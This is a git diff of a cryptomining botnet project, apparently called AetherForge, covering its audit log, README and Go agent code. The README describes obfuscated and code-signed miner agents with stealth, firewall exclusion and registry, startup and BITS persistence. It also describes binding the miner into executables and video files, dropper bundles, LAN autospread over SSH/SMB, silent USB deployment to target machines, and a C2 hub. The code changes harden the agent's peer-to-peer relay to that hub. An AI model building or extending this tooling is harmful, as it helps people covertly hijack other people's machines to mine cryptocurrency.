- **server/web** — Pinned `@types/three@0.170.0` to match `three@0.170.0` (was `^0.184.1`, skewed from runtime; `skipLibCheck` masked). `@react-three/drei@9.122` / `@react-three/fiber@8.18` unchanged; `tsc`, `npm run build`, vitest (373) — PASS.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Fixed (earlier passes)
|
|
||||||
|
|
||||||
See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README / tests/README.md.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Recommended next section
|
|
||||||
|
|
||||||
1. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
|
|
||||||
2. **Agent WS token auth** (S2) — security hardening
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Test run snapshot (this session)
|
|
||||||
|
|
||||||
| Suite | Result |
|
|
||||||
|-------|--------|
|
|-------|--------|
|
||||||
| `server/internal/api/...` (full) | PASS |
|
| Dual storage without sync policy | Complex cross-tab sync — session preferred over local; `aetherforge-auth` event on logout |
|
||||||
| `server` Go tests | PASS (all packages) |
|
| Flaky progress simulation vs. real compile time | Cosmetic — stage timeline caps at 94% until server responds (45 min client timeout) |
|
||||||
| `agent` Go tests | PASS (full `./...`) |
|
| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races — needs dedicated tests |
|
||||||
| `server/web` vitest (full suite) | PASS — 33 files, 373 tests |
|
| DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
|
||||||
| `server/web` `npm run build` (tsc + vite) | PASS |
|
| DownloadButton mock aliasing pattern | Document for new download helpers — shared mock fn already in `components.test.tsx` |
|
||||||
| `server/web` `npm ci` + depcheck | PASS — no missing/unused deps |
|
|
||||||
| `server/web` Playwright e2e | PASS — 5 tests |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Backend dependency audit (May 2026)
|
Server API — deeper issues only
|
||||||
|
Source: `server/internal/api` audit (2026-06-04). **API-D01–D10 addressed 2026-06-04** (`go test ./internal/api/... -count=1` PASS).
|
||||||
|
|
||||||
| Module | `go mod tidy` | `go build ./...` | `go test ./...` | Notes |
|
### Fixed (2026-06-04)
|
||||||
|--------|---------------|------------------|-----------------|-------|
|
|
||||||
| `server/` | Updated | PASS | PASS | Promoted `golang.org/x/crypto` to direct (bcrypt in `router.go`). Removed stale indirects (`go-winres`, `nfnt/resize`) — winres stays `go run` at build time per README. |
|
|
||||||
| `agent/` | Updated | PASS | PASS | Promoted `github.com/libp2p/go-libp2p`, `github.com/google/uuid` to direct (`mesh_p2p.go` / `p2p` tag). `go build -tags p2p` and `-tags hollow` PASS on Windows. |
|
|
||||||
| `fusion/` | No dep changes | PASS | N/A (no `_test.go`) | Stdlib-only module; matches `test-suite.ps1` phase 3/8. |
|
|
||||||
|
|
||||||
**Dead/orphan code:** None removed. All agent/server/fusion `.go` files belong to wired packages; build-tag stubs (`mesh_p2p_stub`, `hollow_stub_*`, platform splits) are intentional feature gates, not duplicates.
|
| ID | Fix |
|
||||||
|
|----|-----|
|
||||||
|
| API-D01 | `POST /api/v1/auth/ws-ticket` issues 2‑min one-time tickets; dashboard WS prefers `?ticket=`; legacy `?token=` retained as fallback. |
|
||||||
|
| API-D02 | Per-IP agent WS upgrade rate limit (429) + 45s pre-auth read deadline before disconnect. |
|
||||||
|
| API-D03 | `MarkBeaconSeen` / `EnqueueBeaconCommand` require agent row in DB; beacon upsert runs before mark. |
|
||||||
|
| API-D04 | CoinGecko fetch checks HTTP status; retries 429/5xx up to 3 attempts with backoff. |
|
||||||
|
| API-D05 | `POST /api/v1/users` validates username (3–32, alnum/`_`/`-`) and password (4–128); **409** on existing username. |
|
||||||
|
| API-D06 | Agent WS read loop logs unknown `msg.Type` in `default` branch. |
|
||||||
|
| API-D07 | `notifyCmdCallback` uses blocking channel send (no drop on full buffer). |
|
||||||
|
| API-D08 | `GET /agents/{id}/stats` returns **404** when agent missing (parity with `GET /agents/{id}`). |
|
||||||
|
| API-D09 | **By design** — `/api/download/agent-*` and dropper `/get` stay unauthenticated; URL knowledge is the gate. |
|
||||||
|
| API-D10 | Legacy `?token=` WS auth uses `authSessionCache` (bcrypt skip on cache hit), same as REST. |
|
||||||
|
|
||||||
**Fix applied:** `fleet_handler_test.go` nil-WS cases used struct value-copy (`bad := *fh`) which tripped `go vet` (mutex copy). Replaced with `NewFleetHandler(..., nil, ...)`.
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Fixed (2026-06-04)
|
||||||
|
|
||||||
|
- **`mergeConfig`:** now merges `server.fleet_secret` and `tunnel_defaults` (file load still uses `mergeConfigExplicit` for bool safety).
|
||||||
|
- **`pool.Manager`:** `poolKey` includes `PaymentID` to avoid integrated-address proxy collisions.
|
||||||
|
- **`GetSpreadFunnelStats`:** `new_connects_today` now uses caller `since` (aligned with `by_build` window).
|
||||||
|
- **`LAUNCH.bat` / `devrun.bat`:** read `port` from `data/config.json` for display; launch without `-port` so config wins.
|
||||||
|
|
||||||
|
### Low (open)
|
||||||
|
|
||||||
|
- `db.New` ignores `MkdirAll` failure.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Fusion / PathForge
|
||||||
|
|
||||||
|
*Audit: fusion pathforge (2026-06-04). Builder + API tests — pass.*
|
||||||
|
|
||||||
|
### Fixed (2026-06-04)
|
||||||
|
|
||||||
|
- **F1 — Path Tracer WireGuard peer topology:** `buildHopPeers` adds client peer on hop 1 (`10.66.0.1/32`); single-hop no longer gets empty `peers`; multi-hop adds reverse peers on middle/exit hops. Tests: `pathtracer_handler_test.go` (`TestBuildHopPeers*`, `TestPathTracerOrchestrationConfigurePeers`).
|
||||||
|
- **Path Tracer session expiry:** background cleanup goroutine removes sessions after 2h and sends `wg_teardown`. Test: `TestPathTracerSessionExpiry`.
|
||||||
|
- **PathForge `Skipped` counter:** incremented for non-matching files during walk.
|
||||||
|
- **PathForge `dataDir`:** used as fallback search path in `findAgentBinary`.
|
||||||
|
- **Mac PathForge `server_url`:** required when `target_mac` is enabled (400 if missing).
|
||||||
|
- **Tests added:** `pathforge_test.go` (HTTP validation, skipped counter, placement); `pathtracer_handler_test.go` (peer topology + mock-agent orchestration).
|
||||||
|
|
||||||
|
### High (open)
|
||||||
|
|
||||||
|
- `fusion/` package has no tests (coverage only in `server/internal/builder/fusion_*_test.go`).
|
||||||
|
|
||||||
|
### Medium (open)
|
||||||
|
|
||||||
|
- **Agent WireGuard auto-download:** Windows agent `ensureWGExe()` downloads and silently installs WireGuard from `download.wireguard.com` on first Path Tracer use if not already present (`agent/client/pathtracer_windows.go`). Heavy side effect; no server-side fix — operator should pre-install WireGuard on fleet hosts or accept first-run download latency.
|
||||||
|
- Mac PathForge `.command` still depends on `server_url` + `/api/download/agent-mac` at runtime (now validated at forge time).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Agent (Go)
|
||||||
|
|
||||||
|
### Open
|
||||||
|
|
||||||
|
- **Client:** WebSocket/beacon paths integration-only in CI.
|
||||||
|
|
||||||
|
### Fixed (2026-06-04)
|
||||||
|
|
||||||
|
| Area | Fix |
|
||||||
|
|------|-----|
|
||||||
|
| **Mesh** | Relay path uses `write()` under `AgentClient.mu` (no direct `conn` read); `MeshNode.Stop()` tears down mDNS/host; one-way relay documented; unit tests in `client/mesh_test.go` and `client/mesh_p2p_test.go` (`-tags p2p`). |
|
||||||
|
| **Miner** | `HashAtNonce` returns `ErrEngineNotReady` / `ErrBlobTooShort` instead of empty+nil; edge-case tests updated in `miner/engine_test.go`. |
|
||||||
|
| **Spread** | Shared `deploy/subnet.go`: IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in `subnet.go` and autospread entrypoints. |
|
||||||
|
|||||||
32
README.md
32
README.md
@@ -50,7 +50,9 @@ You configure defaults once in **Calibrate**. You forge once per target profile
|
|||||||
|
|
||||||
### Command Deck (Dashboard)
|
### Command Deck (Dashboard)
|
||||||
|
|
||||||
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
|
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed; transport blips keep saved credentials with a **degraded** banner (distinct from 401 logout)
|
||||||
|
- **Re-forge guard** — confirmation prompt before re-running a saved blueprint compile
|
||||||
|
- **Download resilience** — authed file/log/backup downloads use extended timeouts (5–10 min) with clear `AbortError` messaging
|
||||||
- Live fleet hashrate, CPU/RAM gauges, share feed
|
- Live fleet hashrate, CPU/RAM gauges, share feed
|
||||||
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||||
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
|
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
|
||||||
@@ -91,6 +93,10 @@ You configure defaults once in **Calibrate**. You forge once per target profile
|
|||||||
- Blueprint save/load — re-forge the same profile across machines
|
- Blueprint save/load — re-forge the same profile across machines
|
||||||
- Build manager — download, paths, LAN QR for worker URL
|
- Build manager — download, paths, LAN QR for worker URL
|
||||||
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
|
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
|
||||||
|
- **Universal / spread-kit signing** — `sign_build` applies to spread-kit workers and universal-fusion runners (not just single-platform exes)
|
||||||
|
- **Build size limits** — universal ZIP, spread-kit, and fusion outputs enforce `checkBuildSizeFile` before dispense
|
||||||
|
- **Fusion obfuscation** — launcher compile respects `shouldObfuscate` / garble flags (not just the worker binary)
|
||||||
|
- **Dropper bundles** — `/get` resolves `DownloadURL` artifacts; PS1 ZIP handler tries `start.bat` / `deploy.bat` fallbacks
|
||||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
|
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
|
||||||
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
|
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
|
||||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||||
@@ -218,7 +224,7 @@ Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the f
|
|||||||
- **Desktop push** — deploy files to `@desktop/` on workers
|
- **Desktop push** — deploy files to `@desktop/` on workers
|
||||||
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
|
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
|
||||||
- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
|
- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
|
||||||
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
|
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page); peer topology fixed — hop 1 gets client peer (`10.66.0.1/32`), multi-hop adds reverse peers on middle/exit hops; sessions auto-expire after 2h
|
||||||
- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
|
- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
|
||||||
- **Haptic sound** + **glow particles** — optional UI feedback (Settings)
|
- **Haptic sound** + **glow particles** — optional UI feedback (Settings)
|
||||||
|
|
||||||
@@ -235,7 +241,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
|
|||||||
|
|
||||||
**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
|
**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
|
||||||
|
|
||||||
**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` automatically on launch (USB `LAUNCH.bat` or `AetherForge.exe`). In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port).
|
**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` on launch. **Portable USB:** `pack-usb.bat` seeds a default connector token in `usb/data/cloudflared-token.txt` so `LAUNCH.bat` works out of the box — replace with your own token in Calibrate or edit that file. `LAUNCH.bat` starts cloudflared first and sets `AF_TUNNEL_EXTERNAL=1` so the server skips a duplicate spawn. In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port from `data/config.json`).
|
||||||
|
|
||||||
**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
|
**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
|
||||||
|
|
||||||
@@ -278,7 +284,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr
|
|||||||
| Surface | Mechanism |
|
| Surface | Mechanism |
|
||||||
|---------|----------------|
|
|---------|----------------|
|
||||||
| `/api/v1/*` REST | HTTP Basic Auth |
|
| `/api/v1/*` REST | HTTP Basic Auth |
|
||||||
| `/ws/dashboard` | `?token=<base64-user:pass>` |
|
| `/ws/dashboard` | `POST /api/v1/auth/ws-ticket` → one-time `?ticket=` (2 min); legacy `?token=` fallback |
|
||||||
| `/ws/agent` | Fleet-secret `auth` JSON frame |
|
| `/ws/agent` | Fleet-secret `auth` JSON frame |
|
||||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
|
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
|
||||||
| Static SPA + `/api/v1/health` | Open (no auth) |
|
| Static SPA + `/api/v1/health` | Open (no auth) |
|
||||||
@@ -294,9 +300,11 @@ Run **`pack-usb.bat`** from the project root. It:
|
|||||||
3. Creates `data\` directories with a starter `config.json`
|
3. Creates `data\` directories with a starter `config.json`
|
||||||
4. Syncs `LAUNCH.bat`
|
4. Syncs `LAUNCH.bat`
|
||||||
|
|
||||||
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
|
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → Cloudflare tunnel sidecar starts, then `AetherForge.exe` → dashboard opens at `http://localhost:8989` (or the `port` in `data/config.json`).
|
||||||
|
|
||||||
> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran.
|
`LAUNCH.bat` reads `port` from `data/config.json` for display but launches **without** `-port` so config file wins over any CLI default. Bundled Go toolchain lives in `usb/toolchain/`; garble and go-winres install on first run if missing.
|
||||||
|
|
||||||
|
> **After any code change**, run `pack-usb.bat` from the repo root (it runs `npm run build`, copies `server/web/dist` → `usb/webroot`, compiles `AetherForge.exe`, syncs agent/fusion source and `LAUNCH.bat`). The USB bundle is **not** updated automatically.
|
||||||
|
|
||||||
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
||||||
|
|
||||||
@@ -406,6 +414,7 @@ crypto miner/
|
|||||||
| Method | Path | Purpose |
|
| Method | Path | Purpose |
|
||||||
|--------|------|---------|
|
|--------|------|---------|
|
||||||
| GET | `/api/v1/health` | Health check (no auth) |
|
| GET | `/api/v1/health` | Health check (no auth) |
|
||||||
|
| POST | `/api/v1/auth/ws-ticket` | Issue one-time dashboard WebSocket ticket (Basic auth) |
|
||||||
| GET/PUT | `/api/v1/config` | Calibrate settings |
|
| GET/PUT | `/api/v1/config` | Calibrate settings |
|
||||||
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
|
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
|
||||||
| GET | `/api/v1/builds` | List builds |
|
| GET | `/api/v1/builds` | List builds |
|
||||||
@@ -424,7 +433,7 @@ crypto miner/
|
|||||||
| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
|
| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
|
||||||
| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
|
| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
|
||||||
| WS | `/ws/agent` | Worker connection |
|
| WS | `/ws/agent` | Worker connection |
|
||||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
|
| WS | `/ws/dashboard?ticket=<one-time>` | Live dashboard feed (legacy `?token=` still accepted) |
|
||||||
|
|
||||||
Full route list: `server/internal/api/router.go`
|
Full route list: `server/internal/api/router.go`
|
||||||
|
|
||||||
@@ -438,7 +447,9 @@ Full route list: `server/internal/api/router.go`
|
|||||||
| Linux | XMRig | — | systemd user service | XDG data home |
|
| Linux | XMRig | — | systemd user service | XDG data home |
|
||||||
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
|
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
|
||||||
|
|
||||||
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.
|
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Relay writes go through `AgentClient.mu`; `MeshNode.Stop()` tears down mDNS/host. Default builds use a no-op stub.
|
||||||
|
|
||||||
|
**LAN spread:** Shared `deploy/subnet.go` — IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in spread entrypoints.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -512,13 +523,16 @@ Vite proxies `/api` and `/ws` to `localhost:8989`.
|
|||||||
|
|
||||||
## Under the Hood
|
## Under the Hood
|
||||||
|
|
||||||
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
|
- **Data dir resolution** — portable `LAUNCH.bat` passes `-data`; `mergeConfig` merges `server.fleet_secret` and `tunnel_defaults`; listen **port** comes from `data/config.json` (CLI `-port` does not override saved config)
|
||||||
|
- **Cloudflared dedupe** — server skips starting cloudflared when `AF_TUNNEL_EXTERNAL=1` or an external `cloudflared.exe` is already running
|
||||||
|
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host + `PaymentID` in pool key (no integrated-address collisions)
|
||||||
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
|
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
|
||||||
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
|
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
|
||||||
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
|
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
|
||||||
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
|
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
|
||||||
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
|
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
|
||||||
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
|
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
|
||||||
|
- **Miner engine** — `HashAtNonce` returns explicit errors (`ErrEngineNotReady`, `ErrBlobTooShort`) instead of silent empty hashes
|
||||||
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
||||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
||||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
||||||
|
|||||||
@@ -113,6 +113,7 @@ func (c *AgentClient) Run() error {
|
|||||||
if err := c.mesh.Start(); err != nil {
|
if err := c.mesh.Start(); err != nil {
|
||||||
log.Printf("[Mesh] Failed to start: %v", err)
|
log.Printf("[Mesh] Failed to start: %v", err)
|
||||||
}
|
}
|
||||||
|
defer c.mesh.Stop()
|
||||||
}
|
}
|
||||||
|
|
||||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||||
|
|||||||
@@ -178,11 +178,12 @@ func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *Sy
|
|||||||
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
|
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
|
||||||
}
|
}
|
||||||
case "CVE-2020-5902", "CVE-2022-1388":
|
case "CVE-2020-5902", "CVE-2022-1388":
|
||||||
if probe.F5Process || listening[443] {
|
if probe.F5Process {
|
||||||
if probe.F5Process {
|
f.Status = "likely"
|
||||||
f.Status = "likely"
|
f.Detail = "F5-related process detected"
|
||||||
f.Detail = "F5-related process detected"
|
} else if listening[443] {
|
||||||
}
|
f.Status = "likely"
|
||||||
|
f.Detail = "TCP/443 listener present — verify F5/BIG-IP patch level if applicable"
|
||||||
}
|
}
|
||||||
case "CVE-2021-26084", "CVE-2022-26134":
|
case "CVE-2021-26084", "CVE-2022-26134":
|
||||||
if probe.ConfluenceLike {
|
if probe.ConfluenceLike {
|
||||||
|
|||||||
@@ -5,7 +5,9 @@ package client
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
|
"sync"
|
||||||
|
|
||||||
"github.com/libp2p/go-libp2p"
|
"github.com/libp2p/go-libp2p"
|
||||||
"github.com/libp2p/go-libp2p/core/host"
|
"github.com/libp2p/go-libp2p/core/host"
|
||||||
@@ -18,8 +20,14 @@ const MeshProtocol = "/aetherforge/mesh/1.0.0"
|
|||||||
const DiscoveryTag = "aetherforge-mesh-discovery"
|
const DiscoveryTag = "aetherforge-mesh-discovery"
|
||||||
|
|
||||||
// MeshNode represents a libp2p peer on the local network.
|
// MeshNode represents a libp2p peer on the local network.
|
||||||
|
//
|
||||||
|
// Relay limitation: mesh uplink is one-way. Orphaned peers may forward messages
|
||||||
|
// to the Hub through a connected relay node, but Hub responses are not sent back
|
||||||
|
// over the mesh. Treat mesh as a best-effort share/stats uplink, not full C2.
|
||||||
type MeshNode struct {
|
type MeshNode struct {
|
||||||
|
mu sync.Mutex
|
||||||
host host.Host
|
host host.Host
|
||||||
|
mdns mdns.Service
|
||||||
client *AgentClient
|
client *AgentClient
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -30,33 +38,58 @@ func NewMeshNode(c *AgentClient) *MeshNode {
|
|||||||
|
|
||||||
// Start initializes the libp2p host and mDNS discovery.
|
// Start initializes the libp2p host and mDNS discovery.
|
||||||
func (m *MeshNode) Start() error {
|
func (m *MeshNode) Start() error {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
if m.host != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// Bind to any available local port automatically
|
// Bind to any available local port automatically
|
||||||
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
|
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
m.host = h
|
|
||||||
|
|
||||||
// Register the protocol handler for incoming mesh streams
|
// Register the protocol handler for incoming mesh streams
|
||||||
m.host.SetStreamHandler(MeshProtocol, m.handleStream)
|
h.SetStreamHandler(MeshProtocol, m.handleStream)
|
||||||
|
|
||||||
// Start mDNS discovery to find other agents on the LAN
|
// Start mDNS discovery to find other agents on the LAN
|
||||||
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m)
|
ser := mdns.NewMdnsService(h, DiscoveryTag, m)
|
||||||
if err := ser.Start(); err != nil {
|
if err := ser.Start(); err != nil {
|
||||||
|
_ = h.Close()
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String())
|
m.host = h
|
||||||
|
m.mdns = ser
|
||||||
|
log.Printf("[Mesh] P2P Node started. PeerID: %s", h.ID().String())
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Stop tears down mDNS discovery and the libp2p host. Safe to call multiple times.
|
||||||
|
func (m *MeshNode) Stop() {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
if m.mdns != nil {
|
||||||
|
_ = m.mdns.Close()
|
||||||
|
m.mdns = nil
|
||||||
|
}
|
||||||
|
if m.host != nil {
|
||||||
|
_ = m.host.Close()
|
||||||
|
m.host = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// HandlePeerFound is a callback for mDNS discovery.
|
// HandlePeerFound is a callback for mDNS discovery.
|
||||||
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
|
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
|
||||||
if pi.ID == m.host.ID() {
|
m.mu.Lock()
|
||||||
|
h := m.host
|
||||||
|
m.mu.Unlock()
|
||||||
|
if h == nil || pi.ID == h.ID() {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
|
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
|
||||||
if err := m.host.Connect(context.Background(), pi); err != nil {
|
if err := h.Connect(context.Background(), pi); err != nil {
|
||||||
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
|
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -68,19 +101,30 @@ func (m *MeshNode) handleStream(s network.Stream) {
|
|||||||
if err := json.NewDecoder(s).Decode(&msg); err != nil {
|
if err := json.NewDecoder(s).Decode(&msg); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if err := m.relayToHub(msg); err == nil {
|
||||||
// If this node is actively connected to the Hub, act as a Relay.
|
|
||||||
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
|
|
||||||
if m.client.conn != nil {
|
|
||||||
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
|
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
|
||||||
_ = m.client.write(msg)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// relayToHub forwards a mesh message to the active Hub WebSocket session.
|
||||||
|
// write() acquires AgentClient.mu — never read client.conn directly (data race).
|
||||||
|
func (m *MeshNode) relayToHub(msg Message) error {
|
||||||
|
if m.client == nil {
|
||||||
|
return fmt.Errorf("mesh: no agent client")
|
||||||
|
}
|
||||||
|
return m.client.write(msg)
|
||||||
|
}
|
||||||
|
|
||||||
// BroadcastToMesh sends a message to all connected P2P peers.
|
// BroadcastToMesh sends a message to all connected P2P peers.
|
||||||
func (m *MeshNode) BroadcastToMesh(msg Message) {
|
func (m *MeshNode) BroadcastToMesh(msg Message) {
|
||||||
for _, p := range m.host.Network().Peers() {
|
m.mu.Lock()
|
||||||
s, err := m.host.NewStream(context.Background(), p, MeshProtocol)
|
h := m.host
|
||||||
|
m.mu.Unlock()
|
||||||
|
if h == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, p := range h.Network().Peers() {
|
||||||
|
s, err := h.NewStream(context.Background(), p, MeshProtocol)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -91,8 +135,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
|
|||||||
|
|
||||||
// PeerCount returns the number of connected mesh peers.
|
// PeerCount returns the number of connected mesh peers.
|
||||||
func (m *MeshNode) PeerCount() int {
|
func (m *MeshNode) PeerCount() int {
|
||||||
if m.host == nil {
|
m.mu.Lock()
|
||||||
|
h := m.host
|
||||||
|
m.mu.Unlock()
|
||||||
|
if h == nil {
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
return len(m.host.Network().Peers())
|
return len(h.Network().Peers())
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,7 +9,8 @@ func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} }
|
